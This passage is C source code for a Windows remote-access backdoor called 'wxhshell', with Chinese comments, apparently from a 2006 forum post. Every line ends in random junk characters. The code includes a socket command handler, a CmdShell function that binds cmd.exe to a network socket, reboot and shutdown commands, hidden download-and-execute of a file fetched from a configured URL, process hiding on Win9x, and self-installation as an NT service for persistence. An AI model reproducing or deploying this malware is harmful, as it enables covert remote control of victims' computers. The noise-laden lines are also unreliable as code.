  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xp[[ xV|  
  } KdHR.;*  
  else { AU)"L_ i}  
m\(4y Gj  
    switch(cmd[0]) { `Rub"zM  
  WO?EzQ ?  
  // 帮助 22"M#:r$  
  case '?': { ]tA39JK-i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W$O^IC  
    break; pk%I98! Jy  
  } : ~"^st_[!  
  // 安装 8xJdK'  
  case 'i': { }{[H@uhjH  
    if(Install()) -==@7*x!Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rk*Igqf  
    else ,UopGlA ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,>A9OTSN\  
    break; d/!sHr69  
    } FY)vrM*yh  
  // 卸载 JR|yg=E  
  case 'r': { dd>|1'-]  
    if(Uninstall()) O`~G'l&@T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pg1o@^OuL  
    else Z#BwJHh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7}(wEC  
    break; 'C)^hj.  
    } mq`N&ABO!K  
  // 显示 wxhshell 所在路径 @ +h2R  
  case 'p': { r5%K2q{  
    char svExeFile[MAX_PATH]; 9:4PJ%R9  
    strcpy(svExeFile,"\n\r"); IzF7W?k  
      strcat(svExeFile,ExeFile); s Z(LT'}  
        send(wsh,svExeFile,strlen(svExeFile),0); 0kS[`a(}J  
    break; GzWmXm  
    } fIN8::Cs[  
  // 重启 'uBXSP#  
  case 'b': { D{'x7!5r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }@=m[Zx#  
    if(Boot(REBOOT)) q4@n pbx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~z#Faed=a  
    else { hV#+joT8i  
    closesocket(wsh); sJg-FVe2  
    ExitThread(0); )` -b\8uw  
    } Yxz(g]  
    break; ]Cnj=\'  
    } 9#{?*c6  
  // 关机 =;!C7VS  
  case 'd': { "P\k_-a'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y5B4t6M(  
    if(Boot(SHUTDOWN)) VJ;n0*/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mj=$[ y(  
    else { | VPs5  
    closesocket(wsh); 2#~5[PtP^  
    ExitThread(0); L$6{{Tw"2  
    } He}qgE>Us  
    break; H8.U#%  
    } pqFgi_2m  
  // 获取shell \_}Y4  
  case 's': { Ta`=c0  
    CmdShell(wsh); ' Z:FGSwT  
    closesocket(wsh); Bm2"} =  
    ExitThread(0); 5 BR9f3}  
    break; +!Q<gWb  
  } y3 @R>@$  
  // 退出 }eb}oK  
  case 'x': { <iVn!P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \72(d  
    CloseIt(wsh); ?.~E:8  
    break; ++D-,>.  
    } z[Xs=S!]I  
  // 离开 "- @{ )  
  case 'q': { 4<fKB&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lg FA}p@  
    closesocket(wsh); f#}P>,TP  
    WSACleanup(); d|CSWcU  
    exit(1); :td6Mywl  
    break; #8iRWm0*6  
        } VCfa<hn  
  }  vp7J';  
  } bzD <6Z  
oV"#1lp*  
  // 提示信息 (4=NKtA^G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y5 e6|b|  
} Z~)Bh~^A  
  } ^[6eo8Ck>  
sc dU  
  return; TOmq2*,/  
} sT:$:=  
a<-NB9o~v  
// shell模块句柄 $'Z\'<k[  
int CmdShell(SOCKET sock) ^x(BZolkm  
{ #vCtH2  
STARTUPINFO si; +I1>; {{  
ZeroMemory(&si,sizeof(si)); wh8h1I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @H[)U/.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L:UJur%  
PROCESS_INFORMATION ProcessInfo; bso l>M[<  
char cmdline[]="cmd"; gI<e=|J6w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $j=c;+W  
  return 0; "`<tq#&C1  
} 8U}BSM_<2  
@vzv9c[  
// 自身启动模式 +Y;/10p  
int StartFromService(void) pIcvsd  
{ j)?[S  
typedef struct D >ax<t1K  
{ n<RvL^T=  
  DWORD ExitStatus; TY,5]*86I&  
  DWORD PebBaseAddress; 0 _ 4p>v:  
  DWORD AffinityMask; PNVYW?l  
  DWORD BasePriority; Z,~Bz@5`"  
  ULONG UniqueProcessId; z+IHt(  
  ULONG InheritedFromUniqueProcessId; \$;Q3t3  
}   PROCESS_BASIC_INFORMATION; ,m ^q >  
^f][;>c  
PROCNTQSIP NtQueryInformationProcess; *^agwQ`  
+M@p)pyu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xZ2^lsY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2^Y@e=^A  
P]V/<8o.53  
  HANDLE             hProcess; ,EhQTVJ  
  PROCESS_BASIC_INFORMATION pbi; $TU)O^c  
rqa?A }'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dC&{zNG  
  if(NULL == hInst ) return 0; Tgxxm  
gZkjh{rQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N=4`jy =  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z?@1X`@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g+CTF67  
N0U6N< w  
  if (!NtQueryInformationProcess) return 0; xOfZ9@VU  
&dA{<.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g$=y#<2?  
  if(!hProcess) return 0; (jQ]<q%P  
BEU^,r3z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #L,>)XkjS  
?r< F/$/  
  CloseHandle(hProcess); . Y@)3  
ur*a!U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mC-'z  
if(hProcess==NULL) return 0; !\e&7sV~Q  
0LQ|J(u  
HMODULE hMod; ds> V|}f[  
char procName[255]; -s ]  
unsigned long cbNeeded; mv%Zh1khn/  
i,k.#Vx[m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [):&R1U  
}Z^r<-N  
  CloseHandle(hProcess); > J!J:  
W PDL$y  
if(strstr(procName,"services")) return 1; // 以服务启动 8Xo`S<8VS  
`EFPY$9`D  
  return 0; // 注册表启动 ,ypD0Q   
} P.8CFl X  
+A 3Q$1F  
// 主模块 A4C4xts]N  
int StartWxhshell(LPSTR lpCmdLine) kTCWyc  
{ %Fb4   
  SOCKET wsl; &DUt`Dr w  
BOOL val=TRUE; Q#wl1P  
  int port=0; 4tZnYGvqe  
  struct sockaddr_in door; jg,oGtRz  
r$=YhI/=  
  if(wscfg.ws_autoins) Install(); O(P ,!  
tA,#!Z0  
port=atoi(lpCmdLine); PA=.)8  
;JNI $DR  
if(port<=0) port=wscfg.ws_port; d{~5tv- H  
^:c:~F6J  
  WSADATA data; C^dnkuA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t&GjW6]W  
k@,&'imx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IV#kF}9$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &s]wf  
  door.sin_family = AF_INET; >Ei-Spy>Xl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ."8bW^:  
  door.sin_port = htons(port); xlJ8n+  
k1EAmA l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f,e7;u z%  
closesocket(wsl); d;Uzl 1;  
return 1; 9PpPAF  
} L `7~~  
5>o<! 0g  
  if(listen(wsl,2) == INVALID_SOCKET) { hH=H/L_Z  
closesocket(wsl); wZ^ 7#yX>  
return 1; f/_RtOSw  
} AqD)2O{VO  
  Wxhshell(wsl); 09_L^'`  
  WSACleanup(); (|(#W+l~  
w]BZgF.  
return 0; l1Zf#]x  
pi'w40!:  
} @M:Uf7  
k8]uy2R6}  
// 以NT服务方式启动 G!y~Y]e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K#O8P+n5[  
{ L_3undy,  
DWORD   status = 0; rPk=9I  
  DWORD   specificError = 0xfffffff; 5<?O S &B  
d[b(+sHp a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i2PPVT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {"cS:u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?5%0zMC  
  serviceStatus.dwWin32ExitCode     = 0; "y%S.ipWG  
  serviceStatus.dwServiceSpecificExitCode = 0; v=(L>gg  
  serviceStatus.dwCheckPoint       = 0; 3#d5.Ut  
  serviceStatus.dwWaitHint       = 0; {AJcYZV  
U1+X!&OCp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s'&/8RR  
  if (hServiceStatusHandle==0) return; gC}r$ZB(  
?A[q/n:K  
status = GetLastError(); E(5'vr0  
  if (status!=NO_ERROR) 8=]R6[,fD  
{ C+iIvRYC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M_o<6C  
    serviceStatus.dwCheckPoint       = 0; H#/}FoBiS  
    serviceStatus.dwWaitHint       = 0; Z#-:zD7_  
    serviceStatus.dwWin32ExitCode     = status; ' (JSU   
    serviceStatus.dwServiceSpecificExitCode = specificError; &x}a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PMDx5-{A/t  
    return; 4t(V)1+  
  } l8"  
N2!HkUy2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yQ33JQr  
  serviceStatus.dwCheckPoint       = 0; 3Mvm'T:[  
  serviceStatus.dwWaitHint       = 0; vgfLI}|5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <X7x  
} yu3T5@Ww  
gFJ. p  
// 处理NT服务事件,比如:启动、停止 DEGEr-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D ^ mfWJS  
{ *vx!twu1o  
switch(fdwControl) vOb=>  
{ v&[Ff|>  
case SERVICE_CONTROL_STOP: #6])\  
  serviceStatus.dwWin32ExitCode = 0; 3y}0J @  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l;4},N  
  serviceStatus.dwCheckPoint   = 0; xLfx/&2  
  serviceStatus.dwWaitHint     = 0; t)Iu\bP  
  { MuzlUW]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gZ!vRO <%  
  } 6 ufF34tA  
  return; Q@]QPpe  
case SERVICE_CONTROL_PAUSE: ;a]2hd"6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7J ~usF>A  
  break; A}(&At%n4  
case SERVICE_CONTROL_CONTINUE: S#IlWU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |hsg= LX  
  break; qpo3b7(N  
case SERVICE_CONTROL_INTERROGATE: BDW%cs  
  break; !d@qT.  
}; 9,7IsT8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D0'L  
} Te%2(w,B  
oyQp"'|N  
// 标准应用程序主函数 [TUy><Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s-V5\Lip,  
{ -YF]k}|  
2!Bjs?K<bv  
// 获取操作系统版本 rJ2yi6TB\  
OsIsNt=GetOsVer(); FerQA9K)x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~YQC!x  
RR,gC"cTi  
  // 从命令行安装 D6cqON0a.  
  if(strpbrk(lpCmdLine,"iI")) Install(); clE_a?  
{q=(x]C  
  // 下载执行文件 B@P +b*%  
if(wscfg.ws_downexe) { |"4+~z%/9!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pLB~{5u>;-  
  WinExec(wscfg.ws_filenam,SW_HIDE); ya[][!.G  
} c&!EsMsU  
H7&>cM  
if(!OsIsNt) { H/qv%!/o  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q\WH2CK  
HideProc(); XH9Y|FX%#  
StartWxhshell(lpCmdLine); 6Fp}U  
} ZCdlTdY   
else L9,;zkgo  
  if(StartFromService()) 6[r-8_  
  // 以服务方式启动 {0a (R2nB  
  StartServiceCtrlDispatcher(DispatchTable); 8SV.giG;  
else (XF"ckma  
  // 普通方式启动 L'=mDb  
  StartWxhshell(lpCmdLine); )Sz2D[@n  
uVnbOqR<X  
return 0; ]r]=Q"/5  
}
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只看该作者 1 发表于: 2006-10-10
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